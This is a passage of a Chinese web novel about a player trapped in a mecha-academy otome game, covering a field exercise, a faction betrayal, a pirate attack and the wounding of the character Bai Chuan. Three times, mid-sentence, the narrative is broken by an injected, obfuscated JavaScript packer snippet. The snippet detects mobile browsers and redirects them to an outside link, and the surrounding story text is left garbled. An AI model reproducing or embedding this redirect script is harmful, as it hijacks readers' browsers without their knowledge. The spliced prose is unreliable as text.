队内通讯频道响起了白川惊喜的声音:“学姐!我收到提示了,说你找到了!太好了!” 夏林没来得及回,因为此时她的光屏上显示着第二条消息: 【请在附近5米内寻找“线索”。】 夏林打开了驾驶舱门跳到地上,环顾四周,几乎是一眼就看到了那个露出大半边压根没想好好藏的显眼金属盒子。 她走过去打开后,里面放着一张纸条,上面写着的内容显然是一个坐标。 夏林眼皮一跳,有一种不太好的预感。这个“线索”怎么看都不太像是任务结束。 【恭喜学员“夏林”“白川”进入二阶段任务!请在倒计时结束前到达坐标位置!】 【倒计时:02:10:42】 不好的预感显然都会很快灵验。 夏林将纸条上的坐标输入手持光脑,看到上面显示距离这里的距离是…… 金发少女一个转身几步大跃跳进了驾驶舱,关闭舱门。她一边操作机甲指令,一边在队内语音言简意赅: “白川,我现在给你共享了一个坐标。是在倒计 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夏林眼皮一跳。 不过这里可没有近道可抄,这次她一定要知道那个“秘密”是什么! · 空中没有阻碍,视野极好。 在两人开启了新一轮的“赛跑”之后,夏林的探测仪盘上立即就出现了代表白川机甲的绿点。 夏林观察了一会绿点移动的速度,好像和她当前的机甲速度差不多。 因为她先一步获得坐标启动机甲,所以还是比白川领先一点点的。 对方的这个速度,约莫也是多开启了一个推进器所能到达的极限。白川对他的机甲调整得极好。 可这也代表着,对方如果无视能量损耗再多开一个推进器,就一定能超过她。且按照目前的距离差,立刻就会超过,都不需要一秒钟。 即使夏林在意识到被超过的同时也开启第二个新增推进器,加速度的提升也需要时间,终究会落后。 那么,有抄近道“作弊前科”的白川,会选择开启吗?在不知道二阶段任务的情况下白白浪费能源? 夏林紧盯着探测仪。 可她想的那件事并没有发生。她把这一点点的距离领先一直保持到了终点。 两架一模一样的机甲先后落地。 【恭喜学员“夏林”“白川”到达指定坐标。】 【已进入指定区域,请耐心等待!倒计时:0:02:58】 出乎意料地,倒计时并没有消失。 夏林刚想开口问,白川却好像已经知道了她想要说什么,抢先一步在队内频道里说: “学姐,那个‘秘密’等这个模拟演练结束后我再告诉你吧。还有一点点时间,我们要不要先……” “等一下!”夏林打断了白川的话。她紧盯着机甲的探测仪页面。 有两个绿点以极快的速度从他们的上空掠过。显然是非常着急,这个速度必然是开启了机甲上的所有推进器。 是其他学员? 还未等夏林多思考。 在接下去的一分多时间里,一对一对的绿点高速掠过。 好像路过了有十架机甲。 此时,倒计时归零。 忽然一阵地动山摇,从极遥远的地方传来了巨大的轰鸣声。 12. 白川7 两人一震,却同时抬头望向了两个不同的方向。 这个声音从四面八方传来。 夏林没有说话。她仔细听了一会,心里判断出这声音不太像是机甲引擎,反倒像是某些大能耗的机器在运作时发出的。 就像是为了验证这个猜测,在夏林在心里得出结论后不久,之前声音传来的几个大方向同时有亮点向空中直直地升了上去。 如一盏冉冉升起的许愿灯,透过薄雾带着朦胧的轮廓。 夏林将机甲光屏的远距离镜头倍数放到最大,打开夜视功能,看了一会空中,迟疑道: “那个是……” 刹那间,余下的话语被一声铮亮的响动所盖过。这边余音还未停歇,在更远的其他方位又有几声相似的声响传来。 “……是立体影像装置。” 队内语音频道传来了白川笃定的话语。然而此时眼前呈现出来的景象却已经不需要这句说明。 第一声响动响过之后,天空的景象就发生了改变。原本疏星点点的夜空蒙上了一层薄纱,冷白的光线显得更为空濛。后面几声声响后,目之所及的群山与森林一点一点褪去了本来的姿态,套上了更有棱角的现代建筑轮廓,直到完全隐入其中。 不久前还着陆在森林某个小山坡上的两台机甲,瞬息之间已赫然立身于鳞次栉比的星际都市之中。 这等大规模的立体影像投入使用就连夏林都露出了惊讶的神色,但很快注意力就被同时响起的光脑提示音所吸引。 【恭喜学员“夏林”在规定时间内进入二阶段任务地区!正在为区域内学员发放二阶段任务,请自行查收。】 指定区域,而不是指定坐标。 夏林将视野转了一圈,心下了然。 这个立体影像机器的影响范围目测估计是仅在这周边几十公里。方才上空驾驶机甲飞过的那些学员多半也是完成了任务拿到了二阶段区域内的某个坐标,才心急火燎地赶路过来的。 光脑上很快出现了新的内容: 【帝国阵营所属任务:保护“帝国核心”。】 夏林眼皮一跳,视线瞄到“帝国阵营所属”的时候,下意识地看了一眼探测器。 距离自己最近的白川依然显示为友方的绿点。 这两天她和白川都默契地没有询问对方的阵营。但在第一天的时候,白川那些意味不明的话语还是让夏林觉得对方有极大的概率是联邦阵营。 可是白川当时却说他不通过这次考试也可以?只要她…… 夏林微微蹙了眉。 这句当时没说完的话后面跟的内容会是什么呢?是白川需要她做什么吗? 可是他一路上又什么也没说。 夏林来这里的目的说到底也不是为了刷什么模拟实战成绩,她是为了白川的好感度才来的。 眼下她对白川了解也挺多的了,只是越了解越觉得…… 机甲驾驶室内各个屏幕的蓝色幽光倒映在眼眸中,金发的军服少女神色一瞬间有些恍惚。 夏林微微张了张口,最后还是紧紧地抿起,将视线投向了这个光怪陆离的“城市”。 高耸入云的建筑群表面覆盖着自适应环境的光学材料,街道如同一条璀璨的光河,流淌在钢铁与玻璃构筑的峡谷之间。 夏林控制的机甲抬起了手,试探性地伸向了旁边巨大的霓虹广告牌,上面甚至还写着“第XX代飞行器全新上市……” 机甲手直直地穿过了广告牌,没有碰到实体的触感。因为夏林本来降落的位置旁边就是空地。 然而一秒后,光脑突然发出了声音: 【警告:由于场景重构,已将所有实体障碍完整嵌入投影模型,请注意躲避。同时,检测到穿透投影模型行为将进行酌情扣分,请注意活动范围!首次警告,不予扣分,下不为例。】 夏林一愣,对这个规则感觉到荒谬的同时也对这次模拟实战方案的设计者生出了些许敬佩。 这场模拟演练,同时兼顾了战斗系和非战斗系学员的个人技能展示,也为了减少两类人员的恶意冲突,对机甲的能量槽做了限制。 如果在一阶段的普通任务里多次产生交火,十有八九抵达二阶段的任务地点时机甲的能量几乎就已耗尽,亦或者根本到达不了二阶段区域。 二阶段的任务显然是为高水平学员所准备的附加题。在远距离位移消耗本来就有限的能量后,再对场景进行重构,机甲操作难度再次升级。 夏林觉得这个模拟实战方案的设计者不同于军校上层和社会主流一昧地去推崇机甲操作,反倒是少有地更看重军校生个人的综合素质。 因为在机甲对战中,一方机甲能量耗尽就几乎等同于宣告了失败。但如果双方机甲能量都不足,那战斗便更倾向于两方驾驶员战术与心理上的博弈。 同时也给了那些机甲能量耗尽的学员一些胜利的希望。 毕竟血肉之躯的人类不可能赢过能源充足的机甲。但如果是能源不足的机甲,那就是只要思想不滑坡,办法总比困难多了。 刚好来到这里的又都是这一届最优秀的军校生。 夏林越想越觉得这位模拟实战方案设计者的各方面理念都与她十分相投。等她离开这个游戏,或许该好好看看这个乙女游戏的策划人员名单。 他们应该会相当聊得来。 “学姐,这个立体投影似乎是用的首都星的建筑数据,我们去王宫的位置看看吗?按比例换算大概的位置是这里。”队内语音频道传出了白川的声音。 夏林回过神,看了一眼白川发过来的坐标位置,距离这里不算很远。 这么说来,由于一进游戏就在天宿军校,实际上她对这个游戏设定的帝国联邦大社会背景并不是很了解。 还有那个“236事件”。 ……总觉得是世界观的关键线索。 夏林边想边输入目的地坐标。按目前的速度,预计到达时间为13分钟后。 她开始计算当前她的机甲数据。 此时显示机甲的能量已经掉到了18%。正常只保持行动大约还能运行5个多小时,但如果高速移动就会削减到3个多小时。 如果期间被卷入战斗,装载的激光炮是十分耗能量的类型,最多只有1到2发,之后能量就会掉到5%以下,只能移动1小时不到。 碳纤维军刀,这个倒是不怎么耗能量。但两台机甲的近距离搏斗会产生极大的作用力和反作用力,现在他们所在的这个场地由于重构变得“建筑密集”,打起来几乎是百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026673|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分百吃警告扣分的。 ……怎么想都是不打才是上上策,毕竟没有哪个交通工具比机甲更快。 然而就仿佛是故意与她作对一般,夏林脑子里刚晃过这个想法,检测仪红灯闪烁。 【请注意!请注意!已检测到联邦阵营机体!】 夏林下意识地看小地图。 检测器上方红灯闪烁,近距离的两个绿点安稳地并排一起往前挪。 不是白川?那这个警报…… 夏林还未来得及开口询问,余光在视野里一瞥,她瞳孔一缩。 【警告!警告!检测到北偏西33°方向有攻击靠近,请立即……】 还未等光脑说完建议,夏林用操纵杆拉高了机甲飞行高度避开了这一记激光炮。 然后下一秒,检测仪上就出现了一个红点由远及近快速靠近。 作为“陪考人员”,夏林默默地将决策权抛给了“考生”:“要打吗?” 队内频道里传来白川的回复:“先看看情况,如果他对我们动手了就打。” 话落,夏林在机甲驾驶舱的光屏上已经可以看到那台“联邦阵营机甲”。 机甲型号都是统一的,唯一的区别就是机甲运行时的能量暗纹亮光由帝国的代表色红色,变成了联邦的蓝色。 还真是简洁明了又明显。尤其是在晚上。 一秒后,那台联邦机甲的驾驶员就仿佛没看到空中停着的这两台敌方机甲一般,把他们当障碍物绕过去了。 纯路过。好像根本不担心他们突然动手。 …… 等等,好像有哪里不对。夏林紧紧盯着光屏。 好像还有什么。 在远处的深邃黑暗中,点点红光逐一浮现,宛如狼群在夜幕下悄然睁开的幽冷双眼。 是一连近十台的帝国机甲! 探测仪中一串绿点快速接近。夏林手握操作杆拉低了飞行高度,一边飞快输入动作指令。 上空是乱窜的机甲群,地面是复杂的“建筑群”。活动空间十分有限,危急程度堪比进入陨石带。 紧张刺激的一顿操作后,终于避完了这一群友军。 夏林刚准备微微松一口气,蓦地,检测仪红灯再次闪烁了起来。 【请注意!请注意!已检测到联邦阵营机体!】 难道刚刚那台绕了一圈又飞回来了? 还未等她多想,队内频道中传来了白川的声音: “哎呀不好。” 少年的嗓音带着些许尴尬,又有点小心翼翼: “学姐,我感觉我好像知道那个强制开启阵营的指定条件了,多半就是身份是联邦的学员靠近‘王宫’的多少距离范围内吧?” 此时夏林也看到了。 不是那台联邦机甲回来了。而是她旁边的绿点变成了红点! 为了上下左右前后躲避刚才追过来的帝国机甲群,一顿操作后,原本在她旁边偏后一点的白川不知不觉地到了她前面的位置。 这就刚好进入了二阶段任务设定的某个范围内。被动阵营开启条件触发。 夏林坐在驾驶室内,罕见地抬手扶了一下额。 她已经开始头痛了。 看来有些抉择,终究是要面对的。 13. 白川8 提问:队友是敌军,又要刷队友的好感度,究竟该怎么办? 方案一:为了刷好感度,直接投敌,大展实力助力敌方队友赢得最终胜利。 夏林略一思考,当即否决。 抛开她这么做之后还能不能继续在这个军校混下去不谈,这么做真的能获得好感度吗? 而且白川之前有明确说过,他“可以”不通过这项考试。 方案二…… 对话回到现在。 白川:“我没猜错的话,学姐你应该是帝国阵营的吧?” 话都说到这了,也没什么好藏的了。 夏林驾驶机甲在空中往前了几步,也进入了范围内,身上的白色能量暗纹变为了帝国的红色。 队伍语音频道里的声音一顿,继续道:“学姐,我之前也和你说过了,我对这项考试的成绩没有要求。因为之前学姐你也帮过我,这场考试里如果能击落稀少的联邦机甲,最后的评分一定会比较好……学姐,如果你需要的话,可以直接动手。” 方案二:遵循军校考试原则,痛击那个要刷好感度的队友。 夏林沉默了一下,直白地指出了盲点:“在你这么说之后,即使我击落你,教官也不会给我分数,甚至要扣分吧。” 军校实战模拟演练中,队内语音频道也在教官的实时监控之下。他们这是公然讨论如何作弊。 她选择方案三。 夏林继续开口:“事已至此,现在我的身份是帝国军,你的身份是联盟军,不如遵守一下考场秩序。数五个数之后,我们不再是队友,自己想做什么就做什么,如何?” 数五个数其实是一个心理准备。 敌不动我不动。综合目前的情报,白川似乎没有攻击她的打算。所以她决定先看看白川接下去要怎么做。 毕竟她现在还不知道,如果白川不是为了成绩,那他来参加的目的是什么。 队伍语音频道里安静了好一阵。夏林一直关注着频道人数,知道白川没有退出。 “……我知道了。”耳边终于传来了白川的声音。 可对方的下一句话在夏林的意料之外。 白川说:“可我……并不是你所想的那样光明磊落的人。” 话音落下,身旁的巨大机甲在黑夜的幕布下亮起了大单位能源使用的蓝光。 难道? 夏林的注意力一直集中在屏幕上,此时下意识地要去拉操纵杆躲避。 右侧的探测器屏幕上逐渐出现了代表帝国机甲的绿点,是其他的学员发现了白川这个“敌军”。 夏林紧紧盯着身旁白川机甲的动作。 “走了。” 随着白川这句简短的话语落下,身旁冒着蓝光的机甲打开了双侧推进器,以一个极快的速度转了个急弯直直地迎着朝他过来的几台帝国机甲撞了过去。 前面那几台帝国机甲仿佛也没料到白川会有这个动作。于是躲的躲,抽武器的抽武器,一阵兵荒马乱之后,以极高速度接近的白川却展现了完美的微操技术,直接掠过了他们。 几台帝国机甲明显地顿了一下,然后仿佛被激怒一般一掉头就冲着白川追了过去。 夏林也加入了追人的队伍。 从刚才最后一句话之后,白川就不再回应队内语音频道了。同时从二阶段任务正式开始后,阵营频道变得十分热闹,一条一条的消息根本没断过。 【帝国】王贺锦:第4台联邦机甲发现,驾驶员编码识别是白川。当前坐标(534,268,125),正在朝东南偏45度方向以900km/h速度移动。 【帝国】刘屿:哈?这个时候900km/h?兄弟们别追了,白川要不了十几分钟估计自己就歇菜了。 【帝国】赵嘉:刚才经过我这里了!还跟另一队碰一起了……被击落了!速报!有一台联邦的被击落了! 夏林也一直混在“追杀”白川的几台帝国机甲中。虽然速度没有白川快,但也紧跟着不放。刚才这边速度太快了,等探测仪出现红点敌对提示之后的一秒,就猝不及防地在空中和另一波人相遇,确实混乱了好一阵。她也没看清是谁动的手,总之迎面过来的另一台蓝光机甲突然就坠了下去。 光脑弹出了系统通知: 【帝国阵营学员“唐瑞”淘汰联邦阵营学员“雷鸿影”。】 原本一片安静的“全体”频道突然刷出了消息。 【全体】帝国·唐瑞:跑啊?你再跑啊? 【全体】联邦·雷鸿影:你先等会再狗叫。出来!@联邦·白川,你TM刚才故意的吧? 【全体】联邦·雷鸿影:我明明已经给你让路了,你还要故意往我这里靠?我要不是为了躲你的机子能被唐瑞这个二愣子打到? 公屏上突然出现了一条满是杂音的无意义消息。 【全体】联邦·雷鸿影:教官!最后一句,我保证是最后一句……白川!出去你给我等…… 最后那条是一条戛然而止的语音消息。 后面就再也看不到“雷鸿影”这个名字的消息了,显然是淘汰之后被教官断了这边的通讯权。 而对这边血雨腥风的指名道姓,白川只回复了两个字。 【全体】联邦·白川:好哦。 他这是要干什么? 夏林也有些看不明白。根据目前阵营里刷的消息,任务里的“帝国核心”似乎是个不能转移的水晶。因为那边已经有人自愿留下来设置陷阱看守了,所以剩下的人就出来“围剿”联邦机甲。 目前还剩下三台联邦机甲。包含白川在内,好像是一年级里机甲操作成绩排名最高的三个人。 但帝国这边似乎有十二台左右。本来因为白川这边速度太快了,剩余能量不太多的机甲一看就放弃了不追了,所以跟着白川的人是最少的。 可经过刚才一番“狭路相逢渔翁得利”,还有白川那立场暧昧不明的回复,这些“军校老油条”就有些琢磨出味儿来了。 说实话这三台联邦阵营的机甲驾驶员水平都很高,而且剩下的能量似乎比他们要多一点。 他们本来是打算先把对方的机甲能量耗完。但也气不过被那些在边上隔岸观火一点不出力就准备偷鸡的“友军”把人头抢走。 现在眼瞅着白川为了拿到一个好分数,似乎是想淘汰同阵营的其他人把自己变成唯一一个联邦阵营。但是他又不能对己方开火,所以就只能干扰。 这不是一条摆在眼前的大好捷径吗? 只要跟着白川,说不定就有机会偷袭到另外的联邦机甲,反正跟谁不是跟呢? 能来到二阶段,大家都不是傻子。想明白这个道理的学员似乎越来越多,至少夏林明显感觉到跟着白川的机甲在肉眼可见地增加。 同样的,由于能量耗尽而降下去的帝国机甲也开始出现了。 夏林看了看自己的能量还剩下15%,估计白川和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026674|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是差不多的。按照目前这个消耗速度,最多还可以运行15分钟。 【紧急通讯!紧急通讯!】 一阵刺耳的警报声骤然响起,这次不是光脑的提示,而是直接出现的教官声音: 【目前收到讯息的全体天宿军校学员请注意!八分钟前,我校警备团与“贪狼”星盗团于当前演练星球附近发生交火,部分摧毁的机体即将被当前星球重力圈所捕获!现光脑已确定预计残骸随机坠落覆盖地点为二阶段区域!现中断所有考核内容!收到讯息的学员请立即远离二阶段区域!无法离开的学员请立即用光脑联系教官!】 【重复一次!即将有机体残骸坠落于二阶段区域!已中断所有考核!请所有学员根据下发地图上的撤离路径立即远离!】 星盗团在这附近与军校警备团交火? 夏林觉得有些奇怪。 据她所知,星盗团由于装备没有正规军好,但又比普通民间护卫强一点,所以一般活跃在帝国和联邦之间的三不管灰色区域。这样既方便在来往的商人星舰上作案,又事后因为案发地管辖权不明的问题不容易惹到双方政权。 可虽说是叫“实战”演练。这个天宿军校真的会把才一年级的学员放到边境区域的星球去做实战演练吗? 如果不是的话,为什么会有星盗团出现呢? 夏林在收到紧急通讯的同时光脑上也收到了下发的二阶段区域范围覆盖地图。以她目前的机甲能量残余,离开坠落范围没什么问题。 几秒间,周围的机甲已经纷纷有了行动。夏林下意识地看前方的白川,却发现探测器上的红点不知何时消失了,不久前还在视野范围内的蓝光机甲也不见了。 她驾驶着机甲又往之前的方向飞了一段,依然一无所获,队内语音频道喊白川也没有任何回应。 是自己先走了吗? 意识到这一点的瞬间,夏林打开了许久没看过的系统好感度列表。 白川:【55/100】 已经是过半的好感度…… 夏林在原地顿了一下,最后还是让机甲朝着光脑地图显示的区域范围外飞去。 · 教官紧急通讯出现的时候,已经到了日出时分。 昂贵的全息投影设备已被负责管理的教官关闭。背阴处汇聚的水汽让云端落下的光线宛如实质,不甚明朗的阳光让这片呈现出原貌的群山染上了靛青的深邃色调。 此前失去了踪迹的白川正驾驶着机甲掩藏其中。 驾驶舱主屏幕中央,某台因为找寻着什么而落后了一步的红光帝国机甲正孤零零地停在空中,格外显眼。 几秒后,那台机甲开始朝外移动,但速度并不快,似乎在犹豫着什么。 很容易瞄准。 白川早已将手指放到了激光炮的发射按钮上,却迟迟没有按下去。 “这只是为了测试……” 栗发少年紧盯着屏幕喃喃自语,手上的动作却因为想到了什么而犹豫不决。 “如果你是‘那个人’,我会打不中;如果不是,这个用于学校演练的激光炮威力已经被削减过,也不会有生命危险。” 就像是为了说服自己,白川自言自语地说完,最后一闭眼,像是下定了某种决心。 然而,就在他睁开眼要按下按钮的那一瞬间,极近距离从机甲外面传来的人声让白川整个人一震: “喂——这台机甲里面有人吗?” 14. 白川9 “喂——我有看到你能源灯亮着……白川?” 机甲的驾驶舱门在视线中缓缓开启,里面出来的人却让唐瑶一愣。 白川几步跃下了机甲,冲来人道:“你为什么还在这里?” 语气又惊又怒。 唐瑶盯着他看了一会,抿了下唇:“……我的机甲没有能源了。光脑也不知道为什么一直没有信号。” “没有信号……” 白川愣了下,而后忽然像是想起了什么,抬手猛抓了一把额头的头发,嘴里低声咒骂了一句,整个人显得十分焦躁。 “……借我一下你的光脑?和教官联络报告位置了就还给你。”看到白川这个样子,唐瑶试探地开口,语气有所缓和。 “借不了,”白川几乎是从齿间挤出的这几个字,“这里附近一带都是信号屏蔽区。所有光脑均无法通讯。” 唐瑶一听愣了,立即发现其中的问题:“这里是二阶段模拟演练区域,校方怎么会设置信号屏蔽?” “……” 白川没有回答这个问题。他沉默了一会,忽道:“你过来,开这台机甲走。” 唐瑶立刻答道:“我不要!”她又跟了一句,“我开走的话,你怎么办?” “我有我的办法。” “什么办法?不能和我说?” “……你只管开走就是了,我不会有事。” 唐瑶突然红了眼眶:“你又要这样?总是单方面替我做决定,从来都不会管我的想法,也不会向我解释什么。我已经15岁了,不是7岁!” “既然这里是信号屏蔽区的话,这些话应该是可以说的吧?你为什么要伪造年龄入学天宿军校?你现在究竟是在做些什么?你,你这些年过得还好吗?为什么不联系我,一次都没有来找过我……” 白川脸上没什么表情,对这些追问恍若未闻,只执拗地重复着那一句话:“你先上机甲,时间不多了。” 看到白川这个态度,唐瑶一咬牙,不管不顾地说:“既然时间不多了,你现在驾驶机甲去找教官来帮我也是一样的。” “这句话也同样还给你,”白川看着唐瑶的双眼,“如果不放心,你也可以驾驶机甲找到教官之后再回来找我。” 跨越了八年的时间,两双极为相似的栗色眼眸再次对望。 唐瑶忽然笑了一下。 “我其实刚才看到了,你的机甲在瞄准我们学院的某台机甲,在教官明确宣布终止考试之后。” 白川沉下了眼。 唐瑶继续道:“这里为什么会有信号屏蔽区?我如果带着教官回来,他一定会追问这件事。而你,真的会留在这里等我回来吗?” 白川不发一言。 唐瑶紧紧盯着对面人,咬了下唇:“我相信你有脱身的办法。毕竟你一直都很有办法。我只是想说,能不能带我一起走?我现在病好了,不管你现在是在做什么,都不会拖累你的。” 白川看了她一会,忽然改口道:“可以。” 唐瑶眼中流露出惊喜,刚要开口说什么,下一秒,少年的身姿宛如一道闪电,急速向前逼近。 她瞳孔一缩,久经训练下意识地拔出腰间的军刀冲着来人。咫尺距离,白川不闪不避,迎着银白的刃口继续往前。 瞬息之间,锋利的刀刃划过了白川的脖颈皮肤,鲜红的血珠从伤口中渗出。 唐瑶一惊,猛地往回收力,却忽然感觉到后颈处一痛,眼前渐渐黑了下来。 她不可置信地看着白川,用昏迷前的最后意识张了张口:“哥……” 声音中带着一丝哀求。 “嗯。” 白川立即伸手接住了唐瑶失去意识而滑落的身体,确认对方彻底昏迷后才低声地道出了一句:“……好久不见。” 他们不该这样见面的。 白川没想过会在这次实战模拟中面对面地碰上唐瑶。 可看到她被现在的“哥哥”呼来喝去,性格变得这样畏缩懦弱,他还是忍不住给出了那颗巧克力。 ……然后就产生了现在的变数。 他隐约有一些不太好的预感。 两人拉扯的一来一去实际上已经耗费了不少时间。深知这一点的白川立即抱起昏迷的唐瑶,跳上了机甲。 他把人放在了驾驶座上,仔细系好安全带,再低头往自己的光脑上快速输入了几条机甲预执行指令,接入了驾驶舱的辅助接口。 做完这一切后,白川退出了驾驶舱。他跃下机甲,看着这个庞然大物自动亮起了能源灯,缓缓起飞,朝着自己先前设定的方向而去。 白川脸上紧绷的表情终于放松了一些。他低头拿出了口袋中的屏蔽器,按下按钮取消屏蔽,然后拿出了另一个与学院下发的式样截然不同的光脑。 面前投出了光屏,白川在上面在飞快地输入着信息。 周围树影摇曳,枝叶拂动。 蓦地,常年在危险中锻炼出的直觉让他心觉不对,鬼使神差地往旁边一侧身。 一颗子弹几乎贴着身体呼啸而过。从位置判断,若方才白川没有侧身,击中的会是他的心脏。 白川几乎是瞬间从腰间抽出了枪,一边通过灵活的身位躲避密集的弹雨,一边往旁边树林的方向疾退。 最后掩身到灌木丛中的时候,他的手臂和腿上都多了不少伤口。 “好快的动作。” 树下,全身笼罩在深灰色长袍的人收起了手里的消音枪,吹了个口哨,唯一露在外面的眼睛里不含一丝感情:“不愧是‘贪狼’的小狼崽子。” 这边枪弹一停,原本确定的敌人方位又再次变得不确定起来。 白川看了一眼自己右腿上不断涌出鲜血的最大一处伤口,低头从口袋里拿出这次军校下发的便携式凝血喷雾,做了紧急处理。 得尽快移动,这边的位置对于对方来说也是确定的,很危险。 他屏住了呼吸,仔细倾听周围的动静。最后选择了一个方向压低了身子前进。 沙沙作响的摇曳树叶和灌木丛的每一次“窸窣”都夹杂着白川沉闷的心跳声。 咚咚,咚咚。 “白川?” 呼吸骤停。 即使知道这是绝对不可能出现的声音。在听到唐瑶声音的那一刹那,白川还是下意识地停顿了一下。 然后就受到了潜伏者的重重一击。 袭击者显然是给了这迎面而去的一拳十成的力道。白川当下就两眼不住地发黑,鼻腔有温热的液体不断涌出。他踉跄了一会,被人一脚踹倒在了地上。 “我付了钱让你来办事,你明明有了结果,怎么不仅不上报,还删除了所有数据?难道是想之后坐地起价?”开了变声器的袭击者如此说道。 白川听到了枪上膛的声音。 “‘那个人’的数据在哪?算了,等你死后我会自己找。” 此时他已经意识模糊,气息微弱,显然是躲不开这一击的了。 白川闭上了双眼,像是就这样平静地接受了自己的命运。 过了一会,却迟迟没有等到子弹入体的感觉。 “啧。”他听到那个人似乎是咋舌了一声,然后就没了动静。 发生了……什么? 这时,引擎冲击地面引起的强风带起了地上的尘土和砂石,刮在脸上的痛感让白川勉强半睁了眼。 是……机甲?谁……? · 等夏林打开驾驶舱跳下机甲的时候,白川已经彻底陷入了昏迷。 不久前还完好的少年此时奄奄一息地躺在地上。四肢和身侧布满了大小深浅不一的伤口。部分伤口附近的蓝白制服已被鲜血所浸透,呈现出一片醒目的红黑。最为严重的是脸上,鼻梁显然已经断了,颧骨骨折,到处是不自然的青紫伤痕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏林正在聚精会神地盯着自己光脑地图的某一处,几秒后,她关闭地图对秦封说:“我发现这附近五百米左右的地方有一个山洞,虽然不知道山体厚度如何……但时间紧迫,我已经记住位置了,你直接跟着我来吧。” 话落夏林就转身欲跑,却被秦封眼疾手快地拉住,然后一言不发地带着她朝另一个方向快步走去。 不多时,两人面前出现了一台深蓝色的机甲。这台机甲与夏林之前驾驶的学院统发的机甲式样不同,不知道是从哪来的。 可此时优先级最高的问题并不是这个。 他们两个人,只有一台机甲。机甲上只能坐一个人。 还未等夏林提出这个问题,那边秦封已经主动进入了驾驶舱,还坐了下来。 她愣了一下。 那边秦封皱眉催她:“你在等什么?时间不多了。” 夏林看懂了秦封的眼神示意,不可置信地说:“你是让我……坐你腿上?” 秦封说:“你要是不想的话,也可以换我坐你腿上。” 他说这句话时的表情很正常,好像真的只是因为现在情况危急而单纯地提出一种方案。 夏林暂时压下了心底的怀疑,提出关键疑问:“……可是我们两个人怎么启动机甲?” 单人机甲之所以是单人机甲,是因为装载了舱内人数判定系统。 秦封抬眼看她:“驾驶座空间是够的,而且,谁说我们有两个人?” 对上了秦封那个眼神,夏林后知后觉地明白了。 虽然看似有两个人,但对于游戏来说,其实只有“一个人”。 ……好像是有那么一点道理。 可为什么总觉得哪里不对呢? 15. 白川10 回到天宿军校后,果不其然,第二天走到哪都能听到议论这次一年级校外模拟实战的事。 白川的重伤据说被认为是有人趁乱私下报复。由于有众多“目击证人”见识到了雷鸿影在实战演练最后放的狠话,他被私下认为是第一嫌疑人。 虽然雷鸿影本人一直喊冤说他什么都没做。 而夏林正在宿舍里坐在床上盯着系统呼出的好感度页面: 白川:【55/100】 好感度依然和之前校外实战演练的时候一样。 说明昏迷的白川到现在还没有醒。 夏林默默地关闭了页面。 她相信有这个“救命之恩”,等白川醒了这个数值一定会有变化。但具体能涨多少,她不是很有自信。 白川为什么会在那里,又是被谁打成那样。全都是未知的。 眼下已经是进入游戏的第七天了,说实话她感觉对这个游戏剧情的探索度可能都没到10%。 按照全息游戏与现实时间的最大比例换算,现实中或许已经有人发现她和秦封的“失踪”了,所以从现在开始无论哪一秒突然脱离游戏都有可能。 而秦封…… 脑海中划过这个名字,夏林无意识地将视线落在了地板上光线与阴影的交界之处。 自从进了游戏之后,秦封神出鬼没不说,这个人给她的感觉好像和之前不太一样了。 在这次的事件里,他明明说过不能碰到NPC却能接触到白川,还能找到一台带她离开的深蓝色机甲。 想想全是可疑的地方。但她却莫名地…… 感觉他是可信任的。 夏林皱起了眉。 完全不明白自己什么时候对秦封有这样盲目的信任了。明明之前在现实军校的时候,她和秦封的关系最多只能称得上一句“泾渭分明”。 突然响起的敲门声打断了她的思绪。 夏林站起身去开门,刚打开一条缝看清了来人就伸出手猛地一把把外面站着的“人”拽了进来,然后立刻关上了门。 说什么来什么,来的人正是秦封。 夏林把人拉进来之后从头到脚打量了一遍,开口:“什么事?” 语气不善。 秦封显然也听出来了,但他什么也没说,只是像平时那样开口问了一句:“第七天了,就是想来问问你进度怎么样了。” 秦封目前来说姑且还算是与她一起“落难”的人,对于这个事情夏林倒也没掖着藏着的必要,直接说:“白川好感度55。” “只有55?” 没想到秦封对这个数值结果的反应极大。他蹙了眉,道:“不可能。你现在再看看。” 难不成是觉得太低了觉得她在划水吗? 这好感度是夏林一两分钟前刚看过的数值。但打开个系统窗口也就一秒的事,再看一次也不是什么大事。 白川:【90/100】 与之前截然不同的数字让夏林睁大了眼。 “多少?”看见身旁人的反应,秦封问了一句。 “好感度是90……” 夏林有些不可置信,答完后转头看他:“你怎么知道好感度不止55?” 太奇怪了。明明她在和白川相处的时候,秦封从没有出现过。 就算最后时候知道她救了重伤的白川,可秦封也不知道她先前的好感度数值啊? 这个黑发黑眼的冷峻男人沉默了一下,抬眼扫视了一下周围。 军校生的宿舍对内务是有要求的,但仅要求摆放整齐环境整洁。游戏内更是为了玩家的自由度与舒适度,开放了玩家宿舍房间的自定义装饰和免费添置功能。 除去参加一年级野外模拟实战的那三天,夏林也至少回到过这里三次了。 但这个房间十分空旷,除了床和桌椅等初始就有的必要家具,其他什么也没有。 